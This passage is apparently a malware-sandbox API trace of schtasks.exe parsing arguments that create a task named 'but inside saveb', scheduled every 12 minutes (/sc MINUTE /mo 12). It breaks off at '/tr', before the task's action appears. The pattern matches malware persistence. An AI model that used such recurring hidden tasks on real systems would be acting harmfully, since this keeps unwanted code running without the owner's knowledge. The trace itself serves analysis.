_Buf2=0xff121b08, _Size=0x7) returned 0 [0132.855] GetProcessHeap () returned 0x190000 [0132.855] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x14) returned 0x1ac220 [0132.855] _vsnwprintf (in: _Buffer=0x1ac1e0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|?|") returned 3 [0132.855] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|create|") returned 8 [0132.855] lstrlenW (lpString="|?|") returned 3 [0132.855] lstrlenW (lpString="|create|") returned 8 [0132.855] SetLastError (dwErrCode=0x490) [0132.855] lstrlenW (lpString="create") returned 6 [0132.855] lstrlenW (lpString="create") returned 6 [0132.855] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.855] GetProcessHeap () returned 0x190000 [0132.855] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac1e0) returned 1 [0132.855] GetProcessHeap () returned 0x190000 [0132.855] RtlReAllocateHeap (Heap=0x190000, Flags=0xc, Ptr=0x1ac1e0, Size=0x14) returned 0x1ac240 [0132.855] lstrlenW (lpString="create") returned 6 [0132.855] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.855] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|create|") returned 8 [0132.856] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|create|") returned 8 [0132.856] lstrlenW (lpString="|create|") returned 8 [0132.856] lstrlenW (lpString="|create|") returned 8 [0132.856] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0132.856] SetLastError (dwErrCode=0x0) [0132.856] SetLastError (dwErrCode=0x0) [0132.856] SetLastError (dwErrCode=0x0) [0132.856] lstrlenW (lpString="/tn") returned 3 [0132.856] lstrlenW (lpString="-/") returned 2 [0132.856] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.856] lstrlenW (lpString="?") returned 1 [0132.856] lstrlenW (lpString="?") returned 1 [0132.856] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.856] lstrlenW (lpString="tn") returned 2 [0132.856] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.856] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|?|") returned 3 [0132.856] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tn|") returned 4 [0132.856] lstrlenW (lpString="|?|") returned 3 [0132.857] lstrlenW (lpString="|tn|") returned 4 [0132.857] SetLastError (dwErrCode=0x490) [0132.857] lstrlenW (lpString="create") returned 6 [0132.857] lstrlenW (lpString="create") returned 6 [0132.857] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.857] lstrlenW (lpString="tn") returned 2 [0132.857] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.857] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|create|") returned 8 [0132.857] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tn|") returned 4 [0132.857] lstrlenW (lpString="|create|") returned 8 [0132.857] lstrlenW (lpString="|tn|") returned 4 [0132.882] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0132.882] SetLastError (dwErrCode=0x490) [0132.882] lstrlenW (lpString="delete") returned 6 [0132.882] lstrlenW (lpString="delete") returned 6 [0132.882] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.882] lstrlenW (lpString="tn") returned 2 [0132.882] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.882] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|delete|") returned 8 [0132.882] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tn|") returned 4 [0132.882] lstrlenW (lpString="|delete|") returned 8 [0132.882] lstrlenW (lpString="|tn|") returned 4 [0132.882] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0132.882] SetLastError (dwErrCode=0x490) [0132.882] lstrlenW (lpString="query") returned 5 [0132.882] lstrlenW (lpString="query") returned 5 [0132.882] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.882] lstrlenW (lpString="tn") returned 2 [0132.882] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.882] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|query|") returned 7 [0132.882] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tn|") returned 4 [0132.882] lstrlenW (lpString="|query|") returned 7 [0132.883] lstrlenW (lpString="|tn|") returned 4 [0132.883] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0132.883] SetLastError (dwErrCode=0x490) [0132.883] lstrlenW (lpString="change") returned 6 [0132.883] lstrlenW (lpString="change") returned 6 [0132.883] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.883] lstrlenW (lpString="tn") returned 2 [0132.883] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.883] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|change|") returned 8 [0132.883] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tn|") returned 4 [0132.883] lstrlenW (lpString="|change|") returned 8 [0132.883] lstrlenW (lpString="|tn|") returned 4 [0132.883] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0132.883] SetLastError (dwErrCode=0x490) [0132.883] lstrlenW (lpString="run") returned 3 [0132.883] lstrlenW (lpString="run") returned 3 [0132.883] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.883] lstrlenW (lpString="tn") returned 2 [0132.883] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.883] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|run|") returned 5 [0132.883] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tn|") returned 4 [0132.883] lstrlenW (lpString="|run|") returned 5 [0132.883] lstrlenW (lpString="|tn|") returned 4 [0132.883] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0132.883] SetLastError (dwErrCode=0x490) [0132.883] lstrlenW (lpString="end") returned 3 [0132.883] lstrlenW (lpString="end") returned 3 [0132.884] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.884] lstrlenW (lpString="tn") returned 2 [0132.884] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.884] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|end|") returned 5 [0132.884] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tn|") returned 4 [0132.884] lstrlenW (lpString="|end|") returned 5 [0132.884] lstrlenW (lpString="|tn|") returned 4 [0132.884] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0132.884] SetLastError (dwErrCode=0x490) [0132.884] lstrlenW (lpString="showsid") returned 7 [0132.884] lstrlenW (lpString="showsid") returned 7 [0132.884] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.884] GetProcessHeap () returned 0x190000 [0132.884] HeapValidate (hHeap=0x190000, dwFlags=0x0, lpMem=0x1ac240) returned 1 [0132.884] GetProcessHeap () returned 0x190000 [0132.884] RtlReAllocateHeap (Heap=0x190000, Flags=0xc, Ptr=0x1ac240, Size=0x16) returned 0x1ac240 [0132.884] lstrlenW (lpString="tn") returned 2 [0132.884] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.884] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|showsid|") returned 9 [0132.884] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|tn|") returned 4 [0132.884] lstrlenW (lpString="|showsid|") returned 9 [0132.884] lstrlenW (lpString="|tn|") returned 4 [0132.884] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0132.884] SetLastError (dwErrCode=0x490) [0132.884] SetLastError (dwErrCode=0x490) [0132.884] SetLastError (dwErrCode=0x0) [0132.884] lstrlenW (lpString="/tn") returned 3 [0132.885] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0132.885] SetLastError (dwErrCode=0x490) [0132.885] SetLastError (dwErrCode=0x0) [0132.885] lstrlenW (lpString="/tn") returned 3 [0132.885] GetProcessHeap () returned 0x190000 [0132.885] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x8) returned 0x1ac1e0 [0132.885] GetProcessHeap () returned 0x190000 [0132.885] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acbf0 [0132.885] SetLastError (dwErrCode=0x0) [0132.885] SetLastError (dwErrCode=0x0) [0132.885] lstrlenW (lpString="but inside saveb") returned 16 [0132.885] lstrlenW (lpString="-/") returned 2 [0132.885] StrChrIW (lpStart="-/", wMatch=0x62) returned 0x0 [0132.885] SetLastError (dwErrCode=0x490) [0132.885] SetLastError (dwErrCode=0x490) [0132.885] SetLastError (dwErrCode=0x0) [0132.885] lstrlenW (lpString="but inside saveb") returned 16 [0132.885] StrChrIW (lpStart="but inside saveb", wMatch=0x3a) returned 0x0 [0132.885] SetLastError (dwErrCode=0x490) [0132.885] SetLastError (dwErrCode=0x0) [0132.885] lstrlenW (lpString="but inside saveb") returned 16 [0132.885] GetProcessHeap () returned 0x190000 [0132.885] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x22) returned 0x1acc20 [0132.885] GetProcessHeap () returned 0x190000 [0132.885] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acc50 [0132.885] SetLastError (dwErrCode=0x0) [0132.885] SetLastError (dwErrCode=0x0) [0132.885] lstrlenW (lpString="/sc") returned 3 [0132.885] lstrlenW (lpString="-/") returned 2 [0132.885] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.885] lstrlenW (lpString="?") returned 1 [0132.885] lstrlenW (lpString="?") returned 1 [0132.885] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.885] lstrlenW (lpString="sc") returned 2 [0132.885] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.886] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|?|") returned 3 [0132.886] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|sc|") returned 4 [0132.886] lstrlenW (lpString="|?|") returned 3 [0132.886] lstrlenW (lpString="|sc|") returned 4 [0132.886] SetLastError (dwErrCode=0x490) [0132.886] lstrlenW (lpString="create") returned 6 [0132.886] lstrlenW (lpString="create") returned 6 [0132.886] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.886] lstrlenW (lpString="sc") returned 2 [0132.886] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.886] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|create|") returned 8 [0132.886] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|sc|") returned 4 [0132.886] lstrlenW (lpString="|create|") returned 8 [0132.886] lstrlenW (lpString="|sc|") returned 4 [0132.886] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0132.886] SetLastError (dwErrCode=0x490) [0132.886] lstrlenW (lpString="delete") returned 6 [0132.886] lstrlenW (lpString="delete") returned 6 [0132.886] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.886] lstrlenW (lpString="sc") returned 2 [0132.886] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.886] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|delete|") returned 8 [0132.886] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|sc|") returned 4 [0132.886] lstrlenW (lpString="|delete|") returned 8 [0132.886] lstrlenW (lpString="|sc|") returned 4 [0132.886] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0132.886] SetLastError (dwErrCode=0x490) [0132.886] lstrlenW (lpString="query") returned 5 [0132.886] lstrlenW (lpString="query") returned 5 [0132.886] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.886] lstrlenW (lpString="sc") returned 2 [0132.886] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.887] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|query|") returned 7 [0132.887] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|sc|") returned 4 [0132.887] lstrlenW (lpString="|query|") returned 7 [0132.887] lstrlenW (lpString="|sc|") returned 4 [0132.887] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0132.887] SetLastError (dwErrCode=0x490) [0132.887] lstrlenW (lpString="change") returned 6 [0132.887] lstrlenW (lpString="change") returned 6 [0132.887] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.887] lstrlenW (lpString="sc") returned 2 [0132.887] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.887] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|change|") returned 8 [0132.887] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|sc|") returned 4 [0132.887] lstrlenW (lpString="|change|") returned 8 [0132.887] lstrlenW (lpString="|sc|") returned 4 [0132.887] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0132.887] SetLastError (dwErrCode=0x490) [0132.887] lstrlenW (lpString="run") returned 3 [0132.887] lstrlenW (lpString="run") returned 3 [0132.887] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.887] lstrlenW (lpString="sc") returned 2 [0132.887] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.887] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|run|") returned 5 [0132.887] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|sc|") returned 4 [0132.887] lstrlenW (lpString="|run|") returned 5 [0132.887] lstrlenW (lpString="|sc|") returned 4 [0132.887] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0132.887] SetLastError (dwErrCode=0x490) [0132.887] lstrlenW (lpString="end") returned 3 [0132.887] lstrlenW (lpString="end") returned 3 [0132.887] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.888] lstrlenW (lpString="sc") returned 2 [0132.888] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.888] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|end|") returned 5 [0132.888] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|sc|") returned 4 [0132.888] lstrlenW (lpString="|end|") returned 5 [0132.888] lstrlenW (lpString="|sc|") returned 4 [0132.888] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0132.888] SetLastError (dwErrCode=0x490) [0132.888] lstrlenW (lpString="showsid") returned 7 [0132.888] lstrlenW (lpString="showsid") returned 7 [0132.888] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.888] lstrlenW (lpString="sc") returned 2 [0132.888] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.888] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|showsid|") returned 9 [0132.888] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|sc|") returned 4 [0132.888] lstrlenW (lpString="|showsid|") returned 9 [0132.888] lstrlenW (lpString="|sc|") returned 4 [0132.888] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0132.888] SetLastError (dwErrCode=0x490) [0132.888] SetLastError (dwErrCode=0x490) [0132.888] SetLastError (dwErrCode=0x0) [0132.888] lstrlenW (lpString="/sc") returned 3 [0132.888] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0132.888] SetLastError (dwErrCode=0x490) [0132.888] SetLastError (dwErrCode=0x0) [0132.888] lstrlenW (lpString="/sc") returned 3 [0132.888] GetProcessHeap () returned 0x190000 [0132.888] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x8) returned 0x1ac270 [0132.888] GetProcessHeap () returned 0x190000 [0132.888] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acc80 [0132.888] SetLastError (dwErrCode=0x0) [0132.888] SetLastError (dwErrCode=0x0) [0132.889] lstrlenW (lpString="MINUTE") returned 6 [0132.889] lstrlenW (lpString="-/") returned 2 [0132.889] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0132.889] SetLastError (dwErrCode=0x490) [0132.889] SetLastError (dwErrCode=0x490) [0132.889] SetLastError (dwErrCode=0x0) [0132.889] lstrlenW (lpString="MINUTE") returned 6 [0132.889] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0132.889] SetLastError (dwErrCode=0x490) [0132.889] SetLastError (dwErrCode=0x0) [0132.889] lstrlenW (lpString="MINUTE") returned 6 [0132.889] GetProcessHeap () returned 0x190000 [0132.889] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0xe) returned 0x1ad4e0 [0132.889] GetProcessHeap () returned 0x190000 [0132.889] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1accb0 [0132.889] SetLastError (dwErrCode=0x0) [0132.889] SetLastError (dwErrCode=0x0) [0132.889] lstrlenW (lpString="/mo") returned 3 [0132.889] lstrlenW (lpString="-/") returned 2 [0132.889] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0132.889] lstrlenW (lpString="?") returned 1 [0132.889] lstrlenW (lpString="?") returned 1 [0132.889] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.889] lstrlenW (lpString="mo") returned 2 [0132.889] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.889] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|?|") returned 3 [0132.889] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|mo|") returned 4 [0132.889] lstrlenW (lpString="|?|") returned 3 [0132.889] lstrlenW (lpString="|mo|") returned 4 [0132.889] SetLastError (dwErrCode=0x490) [0132.889] lstrlenW (lpString="create") returned 6 [0132.889] lstrlenW (lpString="create") returned 6 [0132.889] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.890] lstrlenW (lpString="mo") returned 2 [0132.890] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.890] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|create|") returned 8 [0132.890] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|mo|") returned 4 [0132.890] lstrlenW (lpString="|create|") returned 8 [0132.890] lstrlenW (lpString="|mo|") returned 4 [0132.890] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0132.890] SetLastError (dwErrCode=0x490) [0132.890] lstrlenW (lpString="delete") returned 6 [0132.890] lstrlenW (lpString="delete") returned 6 [0132.890] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.890] lstrlenW (lpString="mo") returned 2 [0132.890] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.890] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|delete|") returned 8 [0132.890] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|mo|") returned 4 [0132.890] lstrlenW (lpString="|delete|") returned 8 [0132.890] lstrlenW (lpString="|mo|") returned 4 [0132.890] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0132.890] SetLastError (dwErrCode=0x490) [0132.890] lstrlenW (lpString="query") returned 5 [0132.890] lstrlenW (lpString="query") returned 5 [0132.890] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.890] lstrlenW (lpString="mo") returned 2 [0132.890] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.890] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x8, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|query|") returned 7 [0132.890] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|mo|") returned 4 [0132.890] lstrlenW (lpString="|query|") returned 7 [0132.890] lstrlenW (lpString="|mo|") returned 4 [0132.890] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0132.890] SetLastError (dwErrCode=0x490) [0132.891] lstrlenW (lpString="change") returned 6 [0132.891] lstrlenW (lpString="change") returned 6 [0132.891] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.891] lstrlenW (lpString="mo") returned 2 [0132.891] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.891] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|change|") returned 8 [0132.891] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|mo|") returned 4 [0132.891] lstrlenW (lpString="|change|") returned 8 [0132.891] lstrlenW (lpString="|mo|") returned 4 [0132.891] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0132.891] SetLastError (dwErrCode=0x490) [0132.891] lstrlenW (lpString="run") returned 3 [0132.891] lstrlenW (lpString="run") returned 3 [0132.891] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.891] lstrlenW (lpString="mo") returned 2 [0132.891] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.891] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|run|") returned 5 [0132.891] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|mo|") returned 4 [0132.891] lstrlenW (lpString="|run|") returned 5 [0132.891] lstrlenW (lpString="|mo|") returned 4 [0132.891] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0132.891] SetLastError (dwErrCode=0x490) [0132.891] lstrlenW (lpString="end") returned 3 [0132.891] lstrlenW (lpString="end") returned 3 [0132.891] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.891] lstrlenW (lpString="mo") returned 2 [0132.891] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.891] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0x6, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|end|") returned 5 [0132.891] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|mo|") returned 4 [0132.891] lstrlenW (lpString="|end|") returned 5 [0132.891] lstrlenW (lpString="|mo|") returned 4 [0132.892] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0132.892] SetLastError (dwErrCode=0x490) [0132.892] lstrlenW (lpString="showsid") returned 7 [0132.892] lstrlenW (lpString="showsid") returned 7 [0132.892] _memicmp (_Buf1=0x1ac1c0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.892] lstrlenW (lpString="mo") returned 2 [0132.892] _memicmp (_Buf1=0x1ac200, _Buf2=0xff121b08, _Size=0x7) returned 0 [0132.892] _vsnwprintf (in: _Buffer=0x1ac240, _BufferCount=0xa, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|showsid|") returned 9 [0132.892] _vsnwprintf (in: _Buffer=0x1ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17f458 | out: _Buffer="|mo|") returned 4 [0132.892] lstrlenW (lpString="|showsid|") returned 9 [0132.892] lstrlenW (lpString="|mo|") returned 4 [0132.892] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0132.892] SetLastError (dwErrCode=0x490) [0132.892] SetLastError (dwErrCode=0x490) [0132.892] SetLastError (dwErrCode=0x0) [0132.892] lstrlenW (lpString="/mo") returned 3 [0132.892] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0132.892] SetLastError (dwErrCode=0x490) [0132.892] SetLastError (dwErrCode=0x0) [0132.892] lstrlenW (lpString="/mo") returned 3 [0132.892] GetProcessHeap () returned 0x190000 [0132.892] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x8) returned 0x1adcb0 [0132.892] GetProcessHeap () returned 0x190000 [0132.892] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acce0 [0132.892] SetLastError (dwErrCode=0x0) [0132.892] SetLastError (dwErrCode=0x0) [0132.892] lstrlenW (lpString="12") returned 2 [0132.892] lstrlenW (lpString="-/") returned 2 [0132.892] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0132.892] SetLastError (dwErrCode=0x490) [0132.892] SetLastError (dwErrCode=0x490) [0132.892] SetLastError (dwErrCode=0x0) [0132.893] lstrlenW (lpString="12") returned 2 [0132.893] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0132.893] SetLastError (dwErrCode=0x490) [0132.893] SetLastError (dwErrCode=0x0) [0132.893] lstrlenW (lpString="12") returned 2 [0132.893] GetProcessHeap () returned 0x190000 [0132.893] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x6) returned 0x1adcd0 [0132.893] GetProcessHeap () returned 0x190000 [0132.893] RtlAllocateHeap (HeapHandle=0x190000, Flags=0xc, Size=0x20) returned 0x1acd10 [0132.893] SetLastError (dwErrCode=0x0) [0132.893] SetLastError (dwErrCode=0x0) [0132.893] lstrlenW (lpString="/tr") returned 3 [0132.893] lstrlenW (lpString="-/") returned 2 [0132.893] StrChrIW (lpStart="-/", wMatch=0x2f) 